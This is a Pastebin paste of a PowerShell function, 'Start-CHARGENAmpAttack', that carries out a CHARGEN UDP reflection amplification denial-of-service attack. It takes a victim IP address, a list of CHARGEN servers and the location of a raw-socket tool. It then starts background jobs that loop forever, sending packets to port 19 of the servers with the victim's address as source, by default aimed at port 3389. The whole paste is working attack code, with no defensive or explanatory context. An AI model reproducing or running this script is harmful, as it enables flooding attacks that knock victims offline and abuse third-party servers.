Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Start-CHARGENAmpAttack {
- [CMDLetBinding()]
- param (
- [Parameter(mandatory=$true)] [String] $VictimIPAddress,
- [Parameter(mandatory=$true)] [String] $MyIPAddress,
- [Parameter(mandatory=$true, valuefrompipeline=$true)] [String] $CHARGENServerIP,
- [Parameter(mandatory=$true)] [String] $RawSocketLocation,
- [int] $VictimPort = 3389,
- [int] $NumberOfMessagesToSend = 10,
- [int] $SleepBetweenOutboundMessages = 10
- )
- Process {
- Write-Verbose "Starting attack $CharGenServerIP to victim $VictimIPAddress"
- Start-Job -Name "CharGen-$CharGenServerIP-to-$VictimIPAddress" -ScriptBlock {
- # change to the directory containing the rawsocketudp.exe
- set-location $args[0]
- # whilst this job is running
- while ($true) {
- # run the rawsocketudp.exe, with the appropriate argumemts.
- .\RawSocketUDP.exe -as $args[1] -ad $args[2] -ps $args[3] -pd 19 -b $args[4] -n $args[5]
- # sleep for specified period
- Start-Sleep -Seconds $args[6]
- }
- } -ArgumentList @($RawSocketLocation, $VictimIPAddress, $CHARGENServerIP,
- $VictimPort, $MyIPAddress, $NumberOfMessagesToSend, $SleepBetweenOutboundMessages)
- }
- }
- # Aperturescience.su
Advertisement
Add Comment
Please, Sign In to add comment